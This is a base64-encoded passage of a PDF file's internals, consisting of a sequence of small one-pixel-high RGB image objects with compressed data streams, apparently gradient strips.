IC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDY3CiAgIC9IZWlnaHQgMQogICAvQ29sb3JT cGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMjEyCj4+ CnN0cmVhbQp42gHJADb/8+zm3c7J5srHxKKgnWppo2dpgTk9izQ9ghMkgwodigYdmg4ooQsmtxQz yhc30BQ1wAIkvwMkugMizBc2yRc3zyZFvxo6vhs6sBczqhozrSE721lx2Fpw+X+U84KW/6q8/77P /8HS/8vc/8zd/87e/8TR/8LQ/7LC03qM1XmOwmF1ylx1uzhXsyNEux9EwBc+xRQ+yBE9wQ42uhA1 sA8xqRIxlRkxoDNGkTtIoGdtt42Ps4+PvKintqupwr261dfW09jU6/Ds7e/uMR1ppQplbmRzdHJl YW0KZW5kb2JqCjQ0OCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0lt YWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDY3CiAgIC9IZWlnaHQgMQogICAv Q29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGgg MjEyCj4+CnN0cmVhbQp42gHJADb//vft9ufU/eXL58qsz6qA0ql9t4tau41SsHs5r3Mrum4ix2wZ 0moR12kK3G8G23EB534J538E74oI8Y4M8I8M8JMS75MU8JYc7JYn6ZYu7p49+a1V9q5Z/8Ju/8Rx /9R//9+I/+GG/+eJ/+iJ/+iJ/+iO/+eR/+KN/+OO/9mD/9B5/850/8Fg/bJN/7JK+aIv/KIn9pga /aIg/aIg6I8P5Y8WyHsRvXcVtnglrn9HrH5NsIpmspiLrJiXs6SpyL/ExsDC3dna3NjZd4p+yQpl bmRzdHJlYW0KZW5kb2JqCjQ0OSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5 cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDMxCiAgIC9IZWlnaHQg MQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9M ZW5ndGggMTAxCj4+CnN0cmVhbQp42nv2+fekRUf6F1wLTlsVkLbHL/WwZ8IJt/jL9tE3baNu2UTf cEy9a59+0zn7ln3mdbuMa1YpV4DILvWWZ+5TEMp+5pR02zHxlnviDa/Eq57x53wT9gckbl615/+6 vV8AMk8yFAplbmRzdHJlYW0KZW5kb2JqCjQ1MCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIKICAg L0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNv ZGUKICAgL0xlbmd0aCAxNAo+PgpzdHJlYW0KeNp79e3/62+/ABPzBbsKZW5kc3RyZWFtCmVuZG9i ago0NTEgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAv Qml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCA0NAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3Bh Y2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDEzMgo+Pgpz dHJlYW0KeNp7+//b6/+fb/5+4FjgYlNqZ1xsJpEsJ5oqwxMnxB0vxBLGxRTMzhIEQyHczME8rEE8 zAFcLIG8gjGSnCHCnMEi7IFCAhGSQCSVoAJEcikaMoka0kkakglqUomaSjnm8pkmChlmUnH6MrFG 0qG6zqVB7kXhs/etePTrzZMfbwDOlyY3CmVuZHN0cmVhbQplbmRvYmoKNDUyIDAgb2JqCjw8IAog ICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQg OAogICAvV2lkdGggNjQKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAg L0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAyMDMKPj4Kc3RyZWFtCnjaAcAAP//x+e7x +e7p3tj22NjKnaKZU16nTF6IJzqTITiSECqQBiCWAx+rEjCsETCrDiurCyeuCiWwByS0BSK3BCK5 AiC8ASDEASPIBybGBybICyfFDSfJEyzNFjLNFjLOFjLPFzPOEzDOEzLOEjPUFjjXGTvXGTvOEDTO EDTKDjHGDDHGDDHHDTLGDjLIEjjKFDrIFDnDEzm/FTm0FDadHTSQIzaEJjShTVqgTlzNg5DGh5K6 iJHVqrPNrrbn0Nji09jo4uYEplHfCmVuZHN0cmVhbQplbmRvYmoKNDUzIDAgb2JqCjw8IAogICAv VHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAog ICAvV2lkdGggNDkKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0Zp bHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxNTgKPj4Kc3RyZWFtCnjaAZMAbP/n8PXm8Pnf 7PXK1+rI1vOcqcmcp9Rjbas8Ro45RpUxPp4wPqE7SbQzQrcyQrsuQr0uRsItR8IxTcgwTsYyU8c0 VckyVsg0WMYzWcY0XMsyW88wWtIyXNQyXNQ8ZdtGbeJIbeJKa9xCYtFDYc9CXcZEXcFJYMBNYbdP Yq9abrdcbqx2ibSbrdWdrc/E1u7F1urj9P7yRU9NCmVuZHN0cmVhbQplbmRvYmoKNDU0IDAgb2Jq Cjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21w b25lbnQgOAogICAvV2lkdGggMgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE0Cj4+CnN0cmVhbQp42nvz/eeb 778BE/IFuwplbmRzdHJlYW0KZW5kb2JqCjQ1NSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDM3CiAg IC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVj b2RlCiAgIC9MZW5ndGggMTIyCj4+CnN0cmVhbQp42gFvAJD/7Pf77P7/1ef1z+j+qcHlqMLniqPL VXGhVW+sR2KnRF6zRF+6Plq7PlnEOFHHNUvFNUrHLkS+L0S5KD6uJDqdJjuUIzqKIzuFJT17Jjx2 Jzt2Lz18OUSCOUSCOUd2OUdscH6bwMzcw8zT5/D16PHug5A5jQplbmRzdHJlYW0KZW5kb2JqCjQ1 NiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRz UGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDU3CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAv RGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTgyCj4+CnN0cmVh bQp42gGrAFT/8vPr5tvV7NvU4cjE68PE5quxyomR0YWRqlhmsFVmlTJEixsrkRgpjg8gjw4glg0h pRUsqRQqshIuswwqtAsquwktvQctxw00vwEnwAApygcxygcz0g850RE60BE6zBI7yxI7yhQ8xRE4 whI5uwo0sgIwsAMxvBBAuBE9sxc+pxE2oBU2oB89mSM9sUdbxnJ/vnd/y46TxZGTxqKivqWhuqej xLu24dzW4dzYej9OYAplbmRzdHJlYW0KZW5kb2JqCjQ1NyAwIG9iago8PCAKICAgL1R5cGUgL1hP YmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRo IDU5CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0Zs YXRlRGVjb2RlCiAgIC9MZW5ndGggMTg4Cj4+CnN0cmVhbQp42gGxAE7///bn//Xl8uPQ8+PM3cmu zLOU1rCLyJVq0ZJfy4ZNwHo1wXosunMhunMXum8Ju24Cvm4AxHUAxXUAznsB24cN3IYN4YgQ440U 440S5pEU5pEQ55QK6JcK55gH6ZsF6ZsD7J0E7J8D6p8F6Z4E6J8F5Z0L4JkN3pgU2ZMa0owa040d y4UjyYYrxYMvwn84vn5BxohPwohYyJNxzJ2Dx56Mxqmhw6ql0r6/49fh4Njl8O34FxNk9QplbmRz dHJlYW0KZW5kb2JqCjQ1OCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUg L0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDQKICAgL0hlaWdodCAxCiAg IC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0 aCAxNwo+PgpzdHJlYW0KeNp7+/fvWzB69+8fAEtIC6AKZW5kc3RyZWFtCmVuZG9iago0NTkgMCBv YmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNv bXBvbmVudCA4CiAgIC9XaWR0aCAzOAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rldmlj ZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDEyNQo+PgpzdHJlYW0KeNoB cgCN/9Hh+tDh+8LT78PX+MDW/4Wd3UZfsUZgt0dfv0ZfxDtXxThWyDdWyzZWzzZW0TNV0Ddc0Tdc z0Bl10Bl1z5m1Tpi0zpi1D5i3Edr5kdq6EZn6Ehn5k1q6EZg10lhz05nzlJnxEtfpHyRxoCVtOT6 /+j6/M1tQMAKZW5kc3RyZWFtCmVuZG9iago0NjAgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0 CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCA0NAog ICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURl Y29kZQogICAvTGVuZ3RoIDEzNAo+PgpzdHJlYW0KeNp79O/9o/9v+zbOnHRgdv+h6fnzS5P601L6 U5K6E5N7EhI6YxO64+K7YpN6k5J6E4AorjshtichuguK4nqTY3uTEyZnJE3PTpqaFTMxHYhCuxKC 2mODO+JCOuPD2+NT+rLS+rIzerObl7Q2L2lfuH/xyoOr1+xbt+nQ1msPbwIRAJjtRLYKZW5kc3Ry ZWFtCmVuZG9iago0NjEgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9J bWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAxCiAgIC9IZWlnaHQgMQogICAv Q29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGgg MTEKPj4Kc3RyZWFtCnjae/fvCwAFvQLhCmVuZHN0cmVhbQplbmRvYmoKNDYyIDAgb2JqCjw8IAog ICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQg OAogICAvV2lkdGggNTYKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAg L0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxNzkKPj4Kc3RyZWFtCnjaAagAV///4+j/ 3+fvwMj1vcbUkJuzanW4ZnSVOkmWOkmIJziBFiiHEyaJDiKUCiOXByKcAyGjAB+tACGyBCWyBCWq AhypAhyqAx2tBR+uBB+0BSK2BSK5BCW9BSe+BSe/Aya7ASa7ASaxAB+vAB+wACSsBymoCSmhBiWd CCWRBSCaESuVEyusNUmoN0m+V2jRi5XFkJazio7YtbnWtrnWub3Tur7o2Nvx5enw5+qgfEhdCmVu ZHN0cmVhbQplbmRvYmoKNDYzIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlw ZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMTEwCiAgIC9IZWlnaHQg MQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9M ZW5ndGggMzM5Cj4+CnN0cmVhbQp42nv6/Nmj528vXr13/srz3QfuzZx3ZNq8M0nZyxKzV5o5tzsH zHPwX2TuOd/QZZGB6yIjz+WGnitN/NYa+28wDNoIRpuNQ3eaRZ0yjrpsFHXFOPq6SdR1y9gbFjHX beJu2ifeASL31Pvuabd9Mu+7xF9yjb/gm37NN/1qSM61wKzzgVnn/NOPA1FY3rnspvvZzTdrp71Y e+L/2pP/t176v/Xy/wP3/5988f/U8/8X3oHQ9W//7//9//DP/8d/Qejah/9XPoLQ1ff/L70BoRNP /p94/H/Hpf+L9rxftPvzpNVPJq18X9b9JLH0SmLJLf/UU0AUkHbGKmibdeB2p4h9pl5bTb22G7pt NnTdqmO3Rsd2pY7tch3rRbo2s/Vspho79pg4NVu7N1p71Dj6VbiFVLoHVybnzyxrWlXWtKKscWFZ w8xZi7Zeuvv4yp17ADaPwR0KZW5kc3RyZWFtCmVuZG9iago0NjQgMCBvYmoKPDwgCiAgIC9UeXBl IC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9X aWR0aCA1MAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVy IC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE2MQo+PgpzdHJlYW0KeNoBlgBp/+re3tXHx9bGx8Sx s8awsr2lpaKDgKiAfp1xbqBwbopPUWwuL3IpMHEaI34eKn8dKowdLpEaLpETKaYiOqchOqMdNqMd Np4YMZgULJYULJEWK5EWK5AZLJMfMpMfNJYiOaEmQqEmQ6wzUqU3Uq5Xarx0grF5grOLjKmPjqOU jZ+ck5uek5+lmZ+lmb2+ttbX0dnW0fHr6z9KRxQKZW5kc3RyZWFtCmVuZG9iago0NjUgMCBvYmoK PDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBv bmVudCA4CiAgIC9XaWR0aCA1MgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE2Nwo+PgpzdHJlYW0KeNoBnABj /+/v7eLh3+Xf4dXJzdjIy8u3uLqjm7ukkq+WgLCVeKyMY6aEVqmETayAQ6yAP7GAPatyK6xyKbV3 LL99L8F+L8SAK8eAJsqCIMyDHcyDGtCIGtCIGdSMHs6IJsuJK8uKMMiLMsOPOb+TPLmVQbGXSq2Z UqyZVaibZKabbaWbd66ki6yjkq+ml6+knrmqrce4u8W5vdnNz9rO0Ozi4T37W+IKZW5kc3RyZWFt CmVuZG9iago0NjYgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFn ZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAxCiAgIC9IZWlnaHQgMQogICAvQ29s b3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTEK Pj4Kc3RyZWFtCnja+/3lHQAFygLeCmVuZHN0cmVhbQplbmRvYmoKNDY3IDAgb2JqCjw8IAogICAv VHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAog ICAvV2lkdGggNTUKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0Zp bHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxNzYKPj4Kc3RyZWFtCnjaAaUAWv/s/P/p/f/m /f/Q8P/D5P/C5P+x0f+x0P+evP+KqPGLpvN1kt51kN9jfs9YccNYcMZbdcxcdc9MZcFLZcRJZchD X8M4Vbs1Vbw6WcM6WMY4WMcxUcIyT8U2Us02Us84Uc86VtE5WM1AX9M/YNM/Y9E9Yc88Ys8+ZNNA aNdAaNlCad5EaOBHa+NEZ91GZ9o/YNFBX81Rb9FBYL1DYblbd8tdeLvX7P92F15BCmVuZHN0cmVh bQplbmRvYmoKNDY4IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1h Z2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMgogICAvSGVpZ2h0IDEKICAgL0Nv bG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDEz Cj4+CnN0cmVhbQp42nv7+g0QAAATYwWJCmVuZHN0cmVhbQplbmRvYmoKNDY5IDAgb2JqCjw8IAog ICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQg OAogICAvV2lkdGggNDIKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAg L0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMjgKPj4Kc3RyZWFtCnjaJcK7CsIwFADQ /9/FxlJM78MmJYi5oSmtdXMSHKqTgk6Cg2AHHRy14OFch/vleXt8375vV31MmzlHNBWZgKWw9VQI LYTY4z8JQsBcIBeNEXXQY7VMJy4ZK8mmIcsa0B3DmqElU0NRKmdnziaV59rzdhNOh935uP+8hh/D OVcACmVuZHN0cmVhbQplbmRvYmoKNDcwIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAv U3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMgogICAvSGVp Z2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQog ICAvTGVuZ3RoIDE0Cj4+CnN0cmVhbQp42nv3///b//8AFFQF1wplbmRzdHJlYW0KZW5kb2JqCjQ3 MSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRz UGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDQ5CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAv RGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTUxCj4+CnN0cmVh bQp42vvx4vXv5y/fXr955/Cxu4ePHFy89NCipUuamluj47si46scvcr0rCp0LPNltcsktcv4lSr5 lKp4lVrFNMFIvVVErV1YrU1QpV1ItU1ArZlfpYVPBUg2CKjVCarViWtVSWoVS2uWqpsUaJm0OHvX u/lOSE5bUFMzu7Z6SX/X4gk9q2ZP27hy2bpVKw8e2HcIDADNXT+KCmVuZHN0cmVhbQplbmRvYmoK NDcyIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0Jp dHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE0Cj4+CnN0cmVh bQp42nv59sPLtx8AE2IFjQplbmRzdHJlYW0KZW5kb2JqCjQ3MyAwIG9iago8PCAKICAgL1R5cGUg L1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dp ZHRoIDEwNQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVy IC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDMyNgo+PgpzdHJlYW0KeNoBOwHE/uzw/Orv/9Pa9NTb 98LL6qay2KWy3oqbyWN3qmN2rkRZkkNYlzJJjTBHjS9HkTBKlS9KlzNNoTBLpi5KrSxJrSxJrytI sC1Ksi1JtjFNuzRPwDFPvzVQxTVPxjVPyDRSzDVRzDdTzjZUzjlV0zpX1TtZ1Txa1jxa1j1b1z5c 2D5c1j5d0j1eyT1exT1fwTxevz9gwUBjwUFiwUFkwEJjwENmwEVnwEVnvkVnvkVovERnuURkt0Fk tUBfrz1eqz5eqzxeqD1dpjtdpTpaozpapTlZpjxWqzxQsTpOsTpOsTZJqDZJpzJDny9DmTFDlTlM mUlbpUlbo1Rnq1RmqG9/u3iHwnqHvoeTx4eSwJOaxpqgxJugvqCov6Gou6yvwLC2xq+2yLnB2MHJ 4MHJ4M3V6M/X5N7m8ez09u708rdyotMKZW5kc3RyZWFtCmVuZG9iago0NzQgMCBvYmoKPDwgCiAg IC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4 CiAgIC9XaWR0aCAzOAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAv RmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDEyNQo+PgpzdHJlYW0KeNoBcgCN/+rr5e3q 4+Xh2Ong2d/Qy9HCvdXAvc+xscioqcqoqcifo8mfoMmbnsiXm8iXm8WXmcWXmcKWl76Wlr2XlrqY lrqYlr2gmr2kn72koMCno8isq8mrq86wssuxss+9vdjKx9TNx9zc1Nrd1OPr4Ozz6+r06/PcVMsK ZW5kc3RyZWFtCmVuZG9iago0NzUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0 eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzNgogICAvSGVpZ2h0 IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAv TGVuZ3RoIDExOQo+PgpzdHJlYW0KeNoBbACT//Lq5/Tq4endzdvOu93Ot9TDp9XCpM65nsewkciv kcarjcWjh8akiMKhgsOggMCeecCeeMCfdsKfdcKfd8Ofe8Cgh7+gjL2ij7yjj7unjr6vkrqxkr6+ msrLqcfLqtHVvNDVv9fbzOrt5uvr6343TSoKZW5kc3RyZWFtCmVuZG9iago0NzYgMCBvYmoKPDwg CiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVu dCA4CiAgIC9XaWR0aCAxCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTEKPj4Kc3RyZWFtCnjae//uCwAFoALS CmVuZHN0cmVhbQplbmRvYmoKNDc3IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3Vi dHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggNjYKICAgL0hlaWdo dCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAg L0xlbmd0aCAyMDIKPj4Kc3RyZWFtCnjae/3r/4tf/0/d+XD8zs9ZG65W9B0o7z2ZVnckpe50fMXV qJLLkRVXQ8ovBpScASKv3OPeucfcMg65JB9wTTzkELfPMXaffeQum7DtQGQfucMhYpd9+E67sG12 4ZvtQjdZha6zCFsDQeahq4GkdcgGc7915r6bLP23WgbsMvffbeKzw9h3t0nQAevoU1Yxp2wTL1on XrBOuGSTchWIHLNvO2ffcc2645B63T7lml3SFcekq0Bkn3DFKeGcffT+1LJ1WRVTAQ5cYu4KZW5k c3RyZWFtCmVuZG9iago0NzggMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBl IC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAxCiAgIC9IZWlnaHQgMQog ICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5n dGggMTEKPj4Kc3RyZWFtCnja+/HjDQAFxwLdCmVuZHN0cmVhbQplbmRvYmoKNDc5IDAgb2JqCjw8 IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25l bnQgOAogICAvV2lkdGggMzcKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IK ICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMjIKPj4Kc3RyZWFtCnjaAW8AkP/1 6enr3d3s3Nzfzc3Rvb7SvbzIsLDLrrDEpKfCn6PFnqPBmJ7El57ElZvFlJrDlJrAkZnAkZm/kpnA k5rAk5q+lZvAl52/l5+/nKK8naK8oqW+qqu7q6vDtbTAtrTFxb3S087P1M7c49za497i6+aVqlBL CmVuZHN0cmVhbQplbmRvYmoKNDgwIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3Vi dHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggOTYKICAgL0hlaWdo dCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAg L0xlbmd0aCAyOTkKPj4Kc3RyZWFtCnjaASAB3/7k6urO2NnN2NzE0dm1wtK1wtOgr8afrsuGlrpn dqFldqJGVolEVYkyQXg5SH85SIE1Rn4zRoExQ4UzRIkyRJA0SZw5TaY4TaY6ULM6ULY7Urw1T701 T740UL4yUL4zUcE0VME0VcA1Vr81Vr82Wb83WsA3WsA4W8E7WsY+Wsg/WchBWMhAVsU+VsQ+VsI8 VL49VLo6U7c6UrY6UrQ6U7A6U683Uag3Uag3UaU2T6E1Tp43Tp41T5o3Tpo1T5k4UJg4UJY4UJY7 T5Q+UZVKXJ5LW5lca6RbaqFpeax1hK12hKd/jquJmK2JmamPn6yRn6iWoaegqa6gqqyvtLivtLe7 v8LExcnGxcrPz9HPz9HY2Nre3uDe3+Pp7vTt8frs8PmW95U/CmVuZHN0cmVhbQplbmRvYmoKNDgx IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQ ZXJDb21wb25lbnQgOAogICAvV2lkdGggMjgKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9E ZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4MQo+PgpzdHJlYW0K eNoVwlsKgCAQAMD7H80Xq4KYZoaRpO725QWyYYgG0ajPXcq5phTTsYXotFUrGKms4MCEZtwwYfnf Se1BBYBofcuu54hlx3K9tU3sEz/WW0dnCmVuZHN0cmVhbQplbmRvYmoKNDgyIDAgb2JqCjw8IAog ICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQg OAogICAvV2lkdGggMjkKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAg L0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4NAo+PgpzdHJlYW0KeNoVwkEKgCAQAMD/ Py3BbM0NTdMVKfRgQtg9G6b33HtuLY21JiIdvHF229UfQeKiBJfzJDgDwYCzlTNECEoSYhy18Ycn Sy5eobSztPS89wfq/0rlCmVuZHN0cmVhbQplbmRvYmoKNDgzIDAgb2JqCjw8IAogICAvVHlwZSAv WE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lk dGggNzYKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAv RmxhdGVEZWNvZGUKICAgL0xlbmd0aCAyMzkKPj4Kc3RyZWFtCnjaAeQAG//t/v/s/v/R5v/O5v+m weyBoM+An9ZnhcVkhcxkg9NkhNtkguJVddhUddxFY9FBYMpDX8NEXrNCW6tCXKdDWaREWqNEWqNN ZKdOY6RYcK5acKxpfrdzh7xzh7p3jLl5i7t5i7l7jLh7jLd/jrl+kLh+kLaCkbqAkriBk7uBk7uB 